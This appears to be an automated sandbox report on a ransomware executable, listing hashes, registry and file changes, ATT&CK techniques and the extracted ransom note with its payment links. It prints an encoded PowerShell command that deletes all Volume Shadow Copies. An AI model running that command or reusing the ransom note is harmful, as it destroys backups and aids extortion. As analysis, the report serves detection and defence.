9d3a482d9441876096e0cee429fedf7b9f7e1c6a50b3e4b2009884019627d879

General

Target

63ae6ca6853552716571555546833d99_JaffaCakes118.exe
Size

166KB
MD5

63ae6ca6853552716571555546833d99
SHA1

09e37e98a74ec8edb36b22a4eb51dbed4390544a
SHA256

9d3a482d9441876096e0cee429fedf7b9f7e1c6a50b3e4b2009884019627d879
SHA512

087baf5fbf764f480f384cbdee878d3dfb8b3880f378b4597d5e292f392341e5da196ee2232a441c6268b7760afffdde293f35f536ee55cff4992b4b45238f86
SSDEEP

1536:EOYMGzUt2Z+tRvSKGNkR87Kk9VWvDtwVQKeDZz0TDsTR6wss+oJ27b5EIBNUup7E:EJMawtnGqtWoKeZC62aoNUSncZUw+S3

Score

10^/10

persistence ransomware

Malware Config

Extracted

Path

C:\Users\readme-o331102-NOW.txt

Ransom Note

Your files are locked due to a vulnerability in your system by "o331102" extension. You will not be able to decrypt the files yourself, in the worst case you can destroy the data irreversibly. The only way to unlock your data is to buy the decryption program. Go to the link written below to more details. If you cannot do this yourself, find a data recovery company in internet. They cannot help you unlock your data, because only we have decryption key, but will help you make a payment and provide you guarantees. ATTENTION! DATA RECOVERY AGENCIES WORK AND DURING THE CORONOVIRUS QUARANTINE, THEY WILL HELP YOU REMOTE. Also, I ask you to note, you have no long time, if you do not make payment soon, the price for the decryptor will double. So I recommend you dont waste time and move! Go to the page through the browser: http://decryptor.cc/F16494BF17DAA819 If your site does not open, then download the "TOR Browser" (https://torproject.org/). If you cannot access the download page of the "TOR Browser", then download the VPN! After installing "TOR Browser", open it and follow the link: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F16494BF17DAA819 After going to the site, enter the following code: q14/nTzDsD7DAvOaeiWFUm9RaZm7G5ZqA3rgz/ERvfFCoZoG7R4sECQo+fl2aROA IbrV59Y0FmMrX24jxuCSAbonrUKhprClTHkcaF/QIzhFBtGMCK3Hkjr1VOpmWBJG VQcpG3PCQp6vB9VjrrJ//53uJw79AztnpWRgJGAeR579LzQEnVSTmH+JcYATto9X IaFYJ+lyf54/0TzIuFmknOLNCvgx4zpSwbQ/UgfyudZ2SiOTjMKZeG2h4YjG73nJ zoFuNZMFQbLF6hS/RGMx7yMJ62XQW6U7P2HzDjD01NbFxVVbFoK/SmNngRxFPH7m 3ySn+EoobkqiQtZPqVk/xFyy6tyc41keufNQbeytJtdE/n0BOedThv63sAoA2zAC NvvnBK04aGSKrcwMQ/0QnGHdyFRR58ULUTA+epoPKcRHML6GbK4gELs6YLJTd+UH uE6h6Jlroq0oYtUCR4Cq5seG4CvIXSeAu1kNOR/0CsXK/bF4klNn9aQPV1HlCqcV l0nsYZQKvVWMkoJlm1gijQYuU3LmlEg1B9TZgJROmLqc40jZT4Zw0HGZmDTgMWyO ljEAmL5F2mAWzbzqXlhjuowNM3VQAFzFlgM3oaALB2fqagF5AdS9x+Cf0MWVyF2c e9aA+FoHIbLdQvLfdr8i8zwKWNi55JoC1vpT5FhJQANXnNOzdRhdzY95stuFReHw ZR3Cg63sO28CmRoNC/5Kn73iGIa0gukZJ1wts2OiX/qQQPtnCyD99FaSKqjNlrDs A4qJKeHuWhmpo+K8v7DV7N55Cw7Ve+xznqh67fdta4zlbdfXmS0ttQwlt9xdL2Xw mINBN8dbBXNI5U8bye0cebuzXzRtRFbP+Hb2KRYogrtPe7chyt1J83ybsZ2emcCn wjOk7EEAZ4zKsK9qDVVFHB6dW121Yn7nDwOwF+62wZcCZb6G3x1cCc3agWxcxh88 cd8vqcuzU5i9jX9Igp1nXao56IHAVrGKWAJqqNi+wMPFxAVXPRd7S4HWRXmhgDHB P6P2Vva/hxPGqIKuwWsVjlA33me3cB9FsVwUFWzn35zkzRczfT2z6Gy+6U08erut MMkZDtpnATWHHEa7JixgFtNlTTzRRT+xIarjgbK0uUq22vdtWCdfw4eJm8b8uHF7 h8bkprZLFV6FCfSElvhDNzOOIMGb3PAy7F5fOsAHUYv3IiFVMjcU2jAcC//SntEV KaIhRRPs/eej+P8ihjTKs0ls28cSLRaB2V98hCQTn4crEvGjo0RvWgLaXDaBoBTy /AL5DDwEsgBzqK5VmcczpTJiTJGphZiiLFF+ASxmg+ddibh5wmUEko0sC1rhjkJ/ 9GkTquvAFEyKju2pQNY+mi7el36byrHzgVQHlr6jki8G5NB5NMflCw==

URLs

http://decryptor.cc/F16494BF17DAA819

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F16494BF17DAA819

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\oXnEn2JlQT = "C:\\Users\\Admin\\AppData\\Local\\Temp\\63ae6ca6853552716571555546833d99_JaffaCakes118.exe"	63ae6ca6853552716571555546833d99_JaffaCakes118.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\N:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\D:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\G:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\L:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\K:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\Y:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\M:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\P:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\U:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\Z:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\B:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\O:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\T:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\E:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\I:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\Q:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\X:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\A:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\R:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\S:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\H:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\V:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\W:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened (read-only)	\??\F:	63ae6ca6853552716571555546833d99_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\z8nta9my1g1k3.bmp"	63ae6ca6853552716571555546833d99_JaffaCakes118.exe

Drops file in Program Files directory 21 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\ClearEnable.htm	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ApproveSubmit.kix	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ClosePing.ram	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DisableGrant.txt	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\LockApprove.dib	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RemoveRegister.pot	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RequestMerge.DVR	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ResolveRevoke.dxf	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SkipDismount.wmf	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UninstallReset.bmp	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\WatchRequest.mp4v	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File created	\??\c:\program files (x86)\readme-o331102-NOW.txt	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CompressMount.ppsx	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\FindMerge.ADTS	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\PopBlock.zip	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ResolveGroup.edrwx	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SendResize.mpeg2	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File created	\??\c:\program files\readme-o331102-NOW.txt	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConnectApprove.ttf	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SyncSuspend.aif	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnprotectGroup.ini	63ae6ca6853552716571555546833d99_JaffaCakes118.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\A053375BFE84E8B748782C7CEE15827A6AF5A405	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\A053375BFE84E8B748782C7CEE15827A6AF5A405\Blob = 030000000100000014000000a053375bfe84e8b748782c7cee15827a6af5a405140000000100000014000000142eb317b75856cbae500940e61faf9d8b14c2c6040000000100000010000000e829e65d7c4307d6fbc13c179e037a360f0000000100000020000000444ebd67bb83f8807b3921e938ac9178b882bd50aadb11231f044cf5f08df7ce190000000100000010000000f044424c506513d62804c04f719403f95c0000000100000004000000000800001800000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000001a05000030820516308202fea003020102021100912b084acf0c18a753f6d62e25a75f5a300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3230303930343030303030305a170d3235303931353136303030305a3032310b300906035504061302555331163014060355040a130d4c6574277320456e6372797074310b300906035504031302523330820122300d06092a864886f70d01010105000382010f003082010a0282010100bb021528ccf6a094d30f12ec8d5592c3f882f199a67a4288a75d26aab52bb9c54cb1af8e6bf975c8a3d70f4794145535578c9ea8a23919f5823c42a94e6ef53bc32edb8dc0b05cf35938e7edcf69f05a0b1bbec094242587fa3771b313e71cace19befdbe43b45524596a9c153ce34c852eeb5aeed8fde6070e2a554abb66d0e97a540346b2bd3bc66eb66347cfa6b8b8f572999f830175dba726ffb81c5add286583d17c7e709bbf12bf786dcc1da715dd446e3ccad25c188bc60677566b3f118f7a25ce653ff3a88b647a5ff1318ea9809773f9d53f9cf01e5f5a6701714af63a4ff99b3939ddc53a706fe48851da169ae2575bb13cc5203f5ed51a18bdb150203010001a382010830820104300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030206082b0601050507030130120603551d130101ff040830060101ff020100301d0603551d0e04160414142eb317b75856cbae500940e61faf9d8b14c2c6301f0603551d2304183016801479b459e67bb6e5e40173800888c81a58f6e99b6e303206082b0601050507010104263024302206082b060105050730028616687474703a2f2f78312e692e6c656e63722e6f72672f30270603551d1f0420301e301ca01aa0188616687474703a2f2f78312e632e6c656e63722e6f72672f30220603551d20041b30193008060667810c010201300d060b2b0601040182df13010101300d06092a864886f70d01010b0500038202010085ca4e473ea3f7854485bcd56778b29863ad754d1e963d336572542d81a0eac3edf820bf5fccb77000b76e3bf65e94dee4209fa6ef8bb203e7a2b5163c91ceb4ed3902e77c258a47e6656e3f46f4d9f0ce942bee54ce12bc8c274bb8c1982fa2afcd71914a08b7c8b8237b042d08f908573e83d904330a472178098227c32ac89bb9ce5cf264c8c0be79c04f8e6d440c5e92bb2ef78b10e1e81d4429db5920ed63b921f81226949357a01d6504c10a22ae100d4397a1181f7ee0e08637b55ab1bd30bf876e2b2aff214e1b05c3f51897f05eacc3a5b86af02ebc3b33b9ee4bdeccfce4af840b863fc0554336f668e136176a8e99d1ffa540a734b7c0d063393539756ef2ba76c89302e9a94b6c17ce0c02d9bd81fb9fb768d40665b3823d7753f88e7903ad0a3107752a43d8559772c4290ef7c45d4ec8ae468430d7f2855f18a179bbe75e708b07e18693c3b98fdc6171252aafdfed255052688b92dce5d6b5e3da7dd0876c842131ae82f5fbb9abc889173de14ce5380ef6bd2bbd968114ebd5db3d20a77e59d3e2f858f95bb848cdfe5c4f1629fe1e5523afc811b08dea7c9390172ffdaca20947463ff0e9b0b7ff284d6832d6675e1e69a393b8f59d8b2f0bd25243a66f3257654d3281df3853855d7e5d6629eab8dde495b5cdb5561242cdc44ec6253844506decce005518fee94964d44eca979cb45bc073a8abb847c2	63ae6ca6853552716571555546833d99_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3164	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
3164	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
4980	powershell.exe
4980	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3164	63ae6ca6853552716571555546833d99_JaffaCakes118.exe
Token: SeDebugPrivilege	4980	powershell.exe
Token: SeBackupPrivilege	3536	vssvc.exe
Token: SeRestorePrivilege	3536	vssvc.exe
Token: SeAuditPrivilege	3536	vssvc.exe
Token: SeTakeOwnershipPrivilege	3164	63ae6ca6853552716571555546833d99_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3164 wrote to memory of 4980	3164	63ae6ca6853552716571555546833d99_JaffaCakes118.exe	92
PID 3164 wrote to memory of 4980	3164	63ae6ca6853552716571555546833d99_JaffaCakes118.exe	92

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\63ae6ca6853552716571555546833d99_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\63ae6ca6853552716571555546833d99_JaffaCakes118.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4980

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3424

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

3

T1112

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uslhciqu.xux.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\readme-o331102-NOW.txt

Filesize
5KB

MD5
30abce078f0ae57109e5d4753dd80eac

SHA1
69fdd94cdaa7713dade415be7261a967137ab1ab

SHA256
8ac019fced9fc5f4e698bcda5a2f8fbe1919e901fc6747aee63fdcf0924019e1

SHA512
36aec9294d98ac009d78af7c8a49d821e7032fe4e6baede63376fa6f5039a44bb3e6e41e3957743d663b2cbedfa68d025797cf4d048e2bd8cc5375e91162a0d1

Download Submit
memory/4980-0-0x00007FF9D4A03000-0x00007FF9D4A05000-memory.dmp

Filesize
8KB

Download
memory/4980-1-0x000002AAEB9B0000-0x000002AAEB9D2000-memory.dmp

Filesize
136KB

Download
memory/4980-11-0x00007FF9D4A00000-0x00007FF9D54C1000-memory.dmp

Filesize
10.8MB

Download
memory/4980-12-0x00007FF9D4A00000-0x00007FF9D54C1000-memory.dmp

Filesize
10.8MB

Download
memory/4980-15-0x00007FF9D4A00000-0x00007FF9D54C1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads